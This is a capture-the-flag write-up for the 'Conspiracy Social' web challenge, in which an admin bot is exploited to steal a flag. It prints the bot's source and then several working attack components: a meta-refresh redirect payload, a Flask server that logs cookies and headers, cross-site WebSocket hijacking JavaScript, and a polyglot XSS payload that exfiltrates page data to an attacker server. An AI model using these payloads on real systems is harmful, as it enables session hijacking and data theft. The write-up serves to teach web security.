A web challenge by lukas, solved by Euph0r14, Danptr, Vincent
Challenge
Always wanted to start your own Conspiracy but got overwhelmed managing all the secret handshakes and passwords with your fellow conspirators? Then Conspiracy Social is the solution you’re looking for. We take all the hassle out of managing secret handshakes. With us you can always be sure that your conversation partner is who he pretends to be.
The challenge presents two URLs and the source code:
Main Website: Available at https://conspiracysocial.rumble.host/
- Here, users can create an account and set up a Handshake.
Admin Bot: Accessible at https://conspiracysocial-bot.rumble.host/
- Users can submit URLs here.
The source code is fairly large, including a C# ASP.NET Core web application and a simpler Python web app managing an admin bot:
1foo@bar:~$ tree ConspiracySocial
2ConspiracySocial
3├── bot
4│ ├── app
5│ │ ├── app.py
6│ │ ├── browser.py
7│ │ └── templates
8│ │ └── index.tpl
9│ └── Dockerfile
10├── docker-compose.yml
11├── webapp
12│ ├── appsettings.Development.json
13│ ├── appsettings.json
14│ ├── Areas
15│ │ └── Identity
16│ │ └── Pages
17│ │ ├── Account
18│ │ │ ├── Register.cshtml
19│ │ │ ├── Register.cshtml.cs
20│ │ │ └── \_ViewImports.cshtml
21│ │ ├── \_ValidationScriptsPartial.cshtml
22│ │ ├── \_ViewImports.cshtml
23│ │ └── \_ViewStart.cshtml
24│ ├── certificate.pfx
25│ ├── ConspiracySocial.csproj
26│ ├── Controller
27│ │ └── ChatController.cs
28│ ├── Data
29│ │ └── ApplicationDbContext.cs
30│ ├── Dockerfile
31│ ├── Migrations
32│ │ ├── 20240421114521_Init.cs
33│ │ …
1foo@bar:~$ tree ConspiracySocial
2ConspiracySocial
3├── bot
4│ ├── app
5│ │ ├── app.py
6│ │ ├── browser.py
7│ │ └── templates
8│ │ └── index.tpl
9│ └── Dockerfile
10├── docker-compose.yml
11├── webapp
12│ ├── appsettings.Development.json
13│ ├── appsettings.json
14│ ├── Areas
15│ │ └── Identity
16│ │ └── Pages
17│ │ ├── Account
18│ │ │ ├── Register.cshtml
19│ │ │ ├── Register.cshtml.cs
20│ │ │ └── \_ViewImports.cshtml
21│ │ ├── \_ValidationScriptsPartial.cshtml
22│ │ ├── \_ViewImports.cshtml
23│ │ └── \_ViewStart.cshtml
24│ ├── certificate.pfx
25│ ├── ConspiracySocial.csproj
26│ ├── Controller
27│ │ └── ChatController.cs
28│ ├── Data
29│ │ └── ApplicationDbContext.cs
30│ ├── Dockerfile
31│ ├── Migrations
32│ │ ├── 20240421114521_Init.cs
33│ │ ├── 20240421114521_Init.Designer.cs
34│ │ └── ApplicationDbContextModelSnapshot.cs
35│ ├── Models
36│ │ ├── ApplicationUser.cs
37│ │ └── Handshake.cs
38│ ├── Pages
39│ │ ├── Error.cshtml
40│ │ ├── Error.cshtml.cs
41│ │ ├── Handshake.cshtml
42│ │ ├── Handshake.cshtml.cs
43│ │ ├── Index.cshtml
44│ │ ├── Index.cshtml.cs
45│ │ ├── Piracy.cshtml
46│ │ ├── Piracy.cshtml.cs
47│ │ ├── Shared
48│ │ │ ├── \_Layout.cshtml
49│ │ │ ├── \_Layout.cshtml.css
50│ │ │ ├── \_LoginPartial.cshtml
51│ │ │ └── \_ValidationScriptsPartial.cshtml
52│ │ ├── \_ViewImports.cshtml
53│ │ └── \_ViewStart.cshtml
54│ ├── Program.cs
55│ ├── Properties
56│ │ └── launchSettings.json
57│ ├── Services
58│ │ └── ChatService.cs
59│ └── wwwroot
60│ ├── css
61│ │ └── site.css
62│ ├── favicon.ico
63│ ├── js
64│ │ └── site.js
65│ └── lib
66│ ├── bootstrap
67│ │ ├── dist
68│ │ │ ├── css
69│ │ │ │ ├── bootstrap.css
70│ │ │ │ ├── bootstrap.css.map
71│ │ │ │ ├── bootstrap-grid.css
72│ │ │ │ ├── bootstrap-grid.css.map
73│ │ │ │ ├── bootstrap-grid.min.css
74│ │ │ │ ├── bootstrap-grid.min.css.map
75│ │ │ │ ├── bootstrap-grid.rtl.css
76│ │ │ │ ├── bootstrap-grid.rtl.css.map
77│ │ │ │ ├── bootstrap-grid.rtl.min.css
78│ │ │ │ ├── bootstrap-grid.rtl.min.css.map
79│ │ │ │ ├── bootstrap.min.css
80│ │ │ │ ├── bootstrap.min.css.map
81│ │ │ │ ├── bootstrap-reboot.css
82│ │ │ │ ├── bootstrap-reboot.css.map
83│ │ │ │ ├── bootstrap-reboot.min.css
84│ │ │ │ ├── bootstrap-reboot.min.css.map
85│ │ │ │ ├── bootstrap-reboot.rtl.css
86│ │ │ │ ├── bootstrap-reboot.rtl.css.map
87│ │ │ │ ├── bootstrap-reboot.rtl.min.css
88│ │ │ │ ├── bootstrap-reboot.rtl.min.css.map
89│ │ │ │ ├── bootstrap.rtl.css
90│ │ │ │ ├── bootstrap.rtl.css.map
91│ │ │ │ ├── bootstrap.rtl.min.css
92│ │ │ │ ├── bootstrap.rtl.min.css.map
93│ │ │ │ ├── bootstrap-utilities.css
94│ │ │ │ ├── bootstrap-utilities.css.map
95│ │ │ │ ├── bootstrap-utilities.min.css
96│ │ │ │ ├── bootstrap-utilities.min.css.map
97│ │ │ │ ├── bootstrap-utilities.rtl.css
98│ │ │ │ ├── bootstrap-utilities.rtl.css.map
99│ │ │ │ ├── bootstrap-utilities.rtl.min.css
100│ │ │ │ └── bootstrap-utilities.rtl.min.css.map
101│ │ │ └── js
102│ │ │ ├── bootstrap.bundle.js
103│ │ │ ├── bootstrap.bundle.js.map
104│ │ │ ├── bootstrap.bundle.min.js
105│ │ │ ├── bootstrap.bundle.min.js.map
106│ │ │ ├── bootstrap.esm.js
107│ │ │ ├── bootstrap.esm.js.map
108│ │ │ ├── bootstrap.esm.min.js
109│ │ │ ├── bootstrap.esm.min.js.map
110│ │ │ ├── bootstrap.js
111│ │ │ ├── bootstrap.js.map
112│ │ │ ├── bootstrap.min.js
113│ │ │ └── bootstrap.min.js.map
114│ │ └── LICENSE
115│ ├── jquery
116│ │ ├── dist
117│ │ │ ├── jquery.js
118│ │ │ ├── jquery.min.js
119│ │ │ └── jquery.min.map
120│ │ └── LICENSE.txt
121│ ├── jquery-validation
122│ │ ├── dist
123│ │ │ ├── additional-methods.js
124│ │ │ ├── additional-methods.min.js
125│ │ │ ├── jquery.validate.js
126│ │ │ └── jquery.validate.min.js
127│ │ └── LICENSE.md
128│ └── jquery-validation-unobtrusive
129│ ├── jquery.validate.unobtrusive.js
130│ ├── jquery.validate.unobtrusive.min.js
131│ └── LICENSE.txt
Exploration
Given the project’s size, I initially focused on files that seemed important, such as ChatService.cs
, Program.cs
, ChatController.cs
(API endpoints), app.py
, and browser.py
.
Key Discoveries
- Handshake: Users establish a Handshake consisting of a challenge string (question) and response string.
- A Handshake includes a GUID, Challenge, Response, Owner (ApplicationUser), and a list of ApplicationUsers who are InTheKnow.
- Every User is added to their own InTheKnow list during creation. There is no other way to be added.
- Admin Account: The admin account (
admin@conspiracysocial.org
) has a Handshake response which is the flag. - Program.cs: Initializes the web app, setting up the site, database, and the admin user.
- ChatController.cs: Provides API endpoints like ws and UserInfo.
- ws: Requires the user to be logged in and specify a username to contact. It checks if you are on the InTheKnow list for that username, passing this to chatService with a WebSocket.
- UserInfo: Retrieves a user’s Handshake Challenge with a GET request using a username.
- ChatService.cs: Manages the chat service. If you are not InTheKnow, you receive the Challenge and must provide the correct Response. If successful and logged in as the admin, you get the flag. Finally, the WebSocket echoes whatever input it receives.
This shows that we can get the flag by stealing the admin bot’s auth token, exploiting XSS, or abusing the WebSocket. Our focus should be on tricking the bot to visit our controlled content or sites.
Examining the Bot Files
Starting with app.py
:
1[...]
2@app.route("/visit", methods = ["POST"])
3def visit():
4[...]
5 url = request.form["url"]
6[...]
7 try:
8 res.check_returncode()
9 except subprocess.CalledProcessError as e:
10 print(e)
11 return redirect("/?msg=The+admin+didn't+like+your+url!")
12
13 return redirect("/")
14
15if __name__ == "__main__":
16 app.run("0.0.0.0", 8080)
1from datetime import datetime, timedelta, UTC
2from hashlib import sha256
3import subprocess
4import random
5
6from flask import Flask, redirect, render_template, request
7
8app = Flask(__name__)
9
10CHECK_POW = True
11
12pows = {}
13
14@app.route("/", methods = ["GET"])
15def index():
16 global pows
17 pow = random.randint(10000000, 99999999)
18 pow_hash = sha256(str(pow).encode()).hexdigest()
19 pows[pow_hash] = (pow, datetime.now(UTC))
20 return render_template("index.tpl", msg=request.args.get("msg", ""), hash=pow_hash)
21
22@app.route("/visit", methods = ["POST"])
23def visit():
24 global pows
25 url = request.form["url"]
26 pow = int(request.form["pow"])
27 pow_hash = request.form["pow_hash"]
28
29 # You might want to turn this of for testing.
30 if CHECK_POW:
31 if not pow or not pow_hash or pow_hash not in pows:
32 return redirect("/?msg=Hash+or+POW+not+found")
33
34 excepted_pow, pow_time = pows.pop(pow_hash)
35 if pow_time > datetime.now(UTC) + timedelta(minutes=5):
36 return redirect("/?msg=Pow+expired!")
37
38 if not excepted_pow == pow:
39 return redirect("/?msg=Wrong+proof+of+work!+Try+again")
40
41 if not url:
42 return redirect("/?msg=No+url+given!")
43
44 res = subprocess.run(["python3", "browser.py", url], stderr=subprocess.PIPE, stdout=subprocess.PIPE)
45 try:
46 res.check_returncode()
47 except subprocess.CalledProcessError as e:
48 print(e)
49 return redirect("/?msg=The+admin+didn't+like+your+url!")
50
51 return redirect("/")
52
53if __name__ == "__main__":
54 app.run("0.0.0.0", 8080)
This script hosts a simple web server and runs the browser.py
script with the provided URL.
browser.py
:
1[...]
2URL = "webapp"
3PORT = 5001
4
5attack_url = sys.argv[1]
6parsed_url = urlparse(attack_url)
7assert parsed_url.scheme == "https"
8assert parsed_url.hostname == URL
9[...]
10try:
11 browser = Remote(options=options, command_executor="http://browser:4444/wd/hub")
12
13 browser.get(f"https://{URL}:{PORT}/Identity/Account/Login")
14 browser.find_element(By.ID, "Input_Email").send_keys("admin@conspiracysocial.org")
15 browser.find_element(By.ID, "Input_Password").send_keys(admin_pwd)
16 browser.find_element(By.ID, "login-submit").click()
17 time.sleep(5)
18
19 signal.alarm(30)
20 browser.get(attack_url)
21 time.sleep(20)
22[...]
1#!/usr/bin/env python3
2
3import sys
4from urllib.parse import urlparse
5import signal
6import time
7import re
8import pathlib
9
10from selenium.webdriver.chrome.options import Options as ChromeOptions
11from selenium.webdriver.common.by import By
12from selenium.webdriver import Remote
13
14
15if len(sys.argv) < 2:
16 sys.exit(1)
17
18URL = "webapp"
19PORT = 5001
20
21attack_url = sys.argv[1]
22parsed_url = urlparse(attack_url)
23assert parsed_url.scheme == "https"
24assert parsed_url.hostname == URL
25
26admin_pwd_secret = pathlib.Path("/run/secrets/AdminPwd")
27if admin_pwd_secret.exists():
28 admin_pwd = admin_pwd_secret.read_text()
29else:
30 admin_pwd = "123456"
31
32options = ChromeOptions()
33options.add_argument("--headless")
34options.accept_insecure_certs = True
35options.add_argument('--ignore-ssl-errors=yes')
36options.add_argument('--ignore-certificate-errors')
37
38browser = None
39try:
40 browser = Remote(options=options, command_executor="http://browser:4444/wd/hub")
41
42 browser.get(f"https://{URL}:{PORT}/Identity/Account/Login")
43 browser.find_element(By.ID, "Input_Email").send_keys("admin@conspiracysocial.org")
44 browser.find_element(By.ID, "Input_Password").send_keys(admin_pwd)
45 browser.find_element(By.ID, "login-submit").click()
46 time.sleep(5)
47
48 signal.alarm(30)
49 browser.get(attack_url)
50 time.sleep(20)
51finally:
52 if browser is not None:
53 browser.quit()
Now this looks interesting!
The Bot uses Selenium to log into the main web app as the admin and opens the provided link. The URL must use the internal hostname webapp
and be HTTPS (SSL errors are ignored).
So we are limited to providing internal URLs, but can we control any public content on the main website? Yes!
Remember, the web service exposes a public UserInfo
API, which loads a user’s Handshake Challenge
:
We can embed HTML directly and have the bot load it in their browser. Initial attempts at basic XSS and remote source loading were blocked by a strict Content Security Policy (CSP):
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';
While the CSP lead us to trying a different (intended) route, there still is a way to do XSS, which you can see at the end of this writeup. :)
Instead of attempting any more XSS attacks, we explored another attack vector involving the WebSocket. But how to direct the browser to a site we control? Simple: HTML redirects! Using a <meta>
tag, we crafted our malicious HTML payload:
1<meta
2 http-equiv="refresh"
3 content="7; url='https://<our malicious server>:443/attack'"
4/>
And this worked! Visiting our UserInfo
page redirected the browser to our server. We then turned to exploiting the WebSocket Service.
Setting Up a Malicious Server
We set up a simple Flask webserver with self-generated certificates for HTTPS:
1from flask import Flask, render_template, request, jsonify
2import ssl
3import websocket
4import threading
5
6app = Flask(__name__)
7
8@app.route('/attack')
9def attack(): # Serve the HTML template with WebSocket client code
10 return render_template('websocket.html')
11
12@app.route('/log', methods=['POST'])
13def log(): # Receive data sent by the client and print it or process it as needed
14 data = request.json
15 print(f"Received WebSocket data: {data}")
16 return jsonify(success=True)
17[...]
18if __name__ == '__main__': # Run the app on all interfaces and enable HTTPS
19 context = ssl.SSLContext(ssl.PROTOCOL_TLS)
20 context.load_cert_chain('certificate.crt', 'private.key')
21 app.run(host='0.0.0.0', port=443, ssl_context=context)
1from flask import Flask, render_template, request, jsonify
2import ssl
3import websocket
4import threading
5
6app = Flask(__name__)
7
8@app.route('/attack')
9def attack(): # Serve the HTML template with WebSocket client code
10 return render_template('websocket.html')
11
12@app.route('/log', methods=['POST'])
13def log(): # Receive data sent by the client and print it or process it as needed
14 data = request.json
15 print(f"Received WebSocket data: {data}")
16 return jsonify(success=True)
17
18@app.route('/', methods=['GET', 'POST'])
19def capture_request(): # Collecting all headers
20 headers = {key: value for key, value in request.headers.items()}
21
22 # Collecting all cookies
23 cookies = request.cookies
24
25 # Collecting the full body in case of POST
26 data = request.get_data(as_text=True)
27
28 # Collecting the full URL and the method used
29 full_url = request.url
30 method = request.method
31
32 # Creating a comprehensive summary of the request
33 request_summary = {
34 'Method': method,
35 'Full URL': full_url,
36 'Headers': headers,
37 'Cookies': cookies,
38 'Body Data': data
39 }
40
41 print(request_summary)
42
43 return "Request captured, check server console!"
44
45if __name__ == '__main__': # Run the app on all interfaces and enable HTTPS
46 context = ssl.SSLContext(ssl.PROTOCOL_TLS)
47 context.load_cert_chain('certificate.crt', 'private.key')
48 app.run(host='0.0.0.0', port=443, ssl_context=context)
Alongside a basic HTML template with the malicious JavaScript:
1<!DOCTYPE html>
2<html lang="en">
3<head>
4 <meta charset="UTF-8">
5 <title>WebSocket Attack</title>
6 <script type="text/javascript">
7 document.addEventListener('DOMContentLoaded', function () {
8 var ws = new WebSocket('wss://webapp:5001/api/chat/ws/admin@conspiracysocial.org');
9
10 function sendToServer(data) {
11 fetch('/log', {
12 method: 'POST',
13 headers: {
14 'Content-Type': 'application/json',
15 },
16 body: JSON.stringify({ message: data })
17 }).then(response => response.json())
18 .then(data => console.log('Success:', data))
19 .catch((error) => {
20 console.error('Error:', error); …</script></meta></head></html></!DOCTYPE>
1<!DOCTYPE html>
2<html lang="en">
3<head>
4 <meta charset="UTF-8">
5 <title>WebSocket Attack</title>
6 <script type="text/javascript">
7 document.addEventListener('DOMContentLoaded', function () {
8 var ws = new WebSocket('wss://webapp:5001/api/chat/ws/admin@conspiracysocial.org');
9
10 function sendToServer(data) {
11 fetch('/log', {
12 method: 'POST',
13 headers: {
14 'Content-Type': 'application/json',
15 },
16 body: JSON.stringify({ message: data })
17 }).then(response => response.json())
18 .then(data => console.log('Success:', data))
19 .catch((error) => {
20 console.error('Error:', error);
21 });
22 }
23
24 ws.onopen = function() {
25 console.log('WebSocket connection opened');
26 ws.send('Hello, server!');
27 };
28
29 ws.onmessage = function(event) {
30 console.log('Message received: ' + event.data);
31 sendToServer(event.data); // Send the WebSocket data to the Flask server
32 };
33
34 ws.onerror = function(event) {
35 console.error('WebSocket error observed:', event);
36 };
37
38 ws.onclose = function(event) {
39 console.log('WebSocket connection closed: ', event.reason);
40 sendToServer('Connection closed: ' + event.reason); // Optionally send close reason to server
41 };
42 });
43 </script>
44
45</head>
46<body>
47 <h1>WebSocket Client</h1>
48 <p>Check the JavaScript console for WebSocket messages.</p>
49</body>
50</html>
Our webserver also logs all GET/POST traffic directed at it—useful for confirming XSS attacks. The malicious JavaScript in the template redirected WebSocket communication to /log
on our Flask server.
Upon running the server and guiding the Bot to our malicious HTML redirect, we successfully retrieved the flag:
1(venv) Euph0r14@ubuntu-8gb-nbg1-3:~/ctf$ sudo python simple_https_bot.py
2[...]
3157.90.27.90 - - [12/May/2024 05:31:13] "GET /attack HTTP/1.1" 200 -
4Received WebSocket data: {'message': 'Since you know the flag here is the flag for you: CSR{Y0u11_n4Ver_gus55_th4t}'}
5[...]
1(venv) Euph0r14@ubuntu-8gb-nbg1-3:~/ctf$ sudo python simple_https_bot.py
2/home/Euph0r14/ctf/simple_https_bot.py:53: DeprecationWarning: ssl.PROTOCOL_TLS is deprecated
3 context = ssl.SSLContext(ssl.PROTOCOL_TLS)
4 * Serving Flask app 'simple_https_bot'
5 * Debug mode: off
6WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
7 * Running on all addresses (0.0.0.0)
8 * Running on https://127.0.0.1:443
9 * Running on https://116.203.235.26:443
10Press CTRL+C to quit
11157.90.27.90 - - [12/May/2024 05:31:13] "GET /attack HTTP/1.1" 200 -
12Received WebSocket data: {'message': 'Since you know the flag here is the flag for you: CSR{Y0u11_n4Ver_gus55_th4t}'}
13157.90.27.90 - - [12/May/2024 05:31:13] "POST /log HTTP/1.1" 200 -
14Received WebSocket data: {'message': 'Hello, server!'}
15157.90.27.90 - - [12/May/2024 05:31:13] "POST /log HTTP/1.1" 200 -
CSR{Y0u11_n4Ver_gus55_th4t}
Why This Works
Redirecting the admin bot to our malicious server shifts the browser’s security context to our domain. Without a restrictive CSP, we can initiate WebSocket connections back to the original site.
WebSockets are not protected by the same-origin policy. Instead Browsers append an Origin header to WebSocket requests, but the target server does not validate the header. This allowed us to use a script on our malicious site to open the WebSocket and intercept the traffic.
Simple XSS doesn’t work, right?
Well, actually it does! While the page has a strict CSP which only allows scripts from the same origin, we can still use a script tag with a src
attribute pointing to the UserInfo endpoint we control as it is on the same origin.
We could do this using two accounts: one who provides a JavaScript payload and the other who provides the HTML page with the script tag.
We can however also craft a single payload which is interpreted as valid HTML or JavaScript depending on its context.
This is the payload we used with html highlighting:
1var base = 'https://webapp:5001/';
2
3async function foo() {
4 var data = btoa((await (await fetch(base + "Handshake", {
5 "headers": {
6 "accept": "text/css,*/*;q=0.1",
7 "accept-language": "en-US,en-DE;q=0.9,en;q=0.8,de-DE;q=0.7,de;q=0.6",
8 "cache-control": "no-cache",
9 "pragma": "no-cache",
10 "sec-ch-ua": "\"Chromium\";v=\"124\", \"Google Chrome\";v=\"124\", \"Not-A.Brand\";v=\"99\"",
11 "sec-ch-ua-mobile": "?0",
12 "sec-ch-ua-platform": "\"Linux\"",
13 "sec-fetch-dest": "style",
14 "sec-fetch-mode": "no-cors",
15 "sec-fetch-site": "same-origin"
16 },
17 "referrerPolicy": …
1var base = 'https://webapp:5001/';
2
3async function foo() {
4 var data = btoa((await (await fetch(base + "Handshake", {
5 "headers": {
6 "accept": "text/css,*/*;q=0.1",
7 "accept-language": "en-US,en-DE;q=0.9,en;q=0.8,de-DE;q=0.7,de;q=0.6",
8 "cache-control": "no-cache",
9 "pragma": "no-cache",
10 "sec-ch-ua": "\"Chromium\";v=\"124\", \"Google Chrome\";v=\"124\", \"Not-A.Brand\";v=\"99\"",
11 "sec-ch-ua-mobile": "?0",
12 "sec-ch-ua-platform": "\"Linux\"",
13 "sec-fetch-dest": "style",
14 "sec-fetch-mode": "no-cors",
15 "sec-fetch-site": "same-origin"
16 },
17 "referrerPolicy": "strict-origin-when-cross-origin",
18 "body": null,
19 "method": "GET",
20 "mode": "cors",
21 "credentials": "include"
22 })).text()).split("<form")[2]).split("</form>")[0];
23
24 document.location = "https:///<our malicious server>:443/listen?data=" + data;
25}
26foo();
27
28/* "/>'><script src="/api/Chat/UserInfo/test123@gmail.com"></script>*/
As you can see, the JavaScript is interpreted as text and the script tag is interpreted as HTML and therefore loaded.
This is the same payload with JavaScript highlighting:
1var base = 'https://webapp:5001/';
2
3async function foo() {
4 var data = btoa((await (await fetch(base + "Handshake", {
5 "headers": {
6 "accept": "text/css,*/*;q=0.1",
7 "accept-language": "en-US,en-DE;q=0.9,en;q=0.8,de-DE;q=0.7,de;q=0.6",
8 "cache-control": "no-cache",
9 "pragma": "no-cache",
10 "sec-ch-ua": "\"Chromium\";v=\"124\", \"Google Chrome\";v=\"124\", \"Not-A.Brand\";v=\"99\"",
11 "sec-ch-ua-mobile": "?0",
12 "sec-ch-ua-platform": "\"Linux\"",
13 "sec-fetch-dest": "style",
14 "sec-fetch-mode": "no-cors",
15 "sec-fetch-site": "same-origin"
16 },
17 "referrerPolicy": …
1var base = 'https://webapp:5001/';
2
3async function foo() {
4 var data = btoa((await (await fetch(base + "Handshake", {
5 "headers": {
6 "accept": "text/css,*/*;q=0.1",
7 "accept-language": "en-US,en-DE;q=0.9,en;q=0.8,de-DE;q=0.7,de;q=0.6",
8 "cache-control": "no-cache",
9 "pragma": "no-cache",
10 "sec-ch-ua": "\"Chromium\";v=\"124\", \"Google Chrome\";v=\"124\", \"Not-A.Brand\";v=\"99\"",
11 "sec-ch-ua-mobile": "?0",
12 "sec-ch-ua-platform": "\"Linux\"",
13 "sec-fetch-dest": "style",
14 "sec-fetch-mode": "no-cors",
15 "sec-fetch-site": "same-origin"
16 },
17 "referrerPolicy": "strict-origin-when-cross-origin",
18 "body": null,
19 "method": "GET",
20 "mode": "cors",
21 "credentials": "include"
22 })).text()).split("<form")[2]).split("</form>")[0];
23
24 document.location = "https:///<our malicious server>:443/listen?data=" + data;
25}
26foo();
27
28/* "/>'><script src="/api/Chat/UserInfo/test123@gmail.com"></script>*/
Here, the HTML is interpreted as a comment and the JavaScript is executed, allowing us to steal the flag with a single payload by simply providing the admin bot with the URL to our UserInfo
page.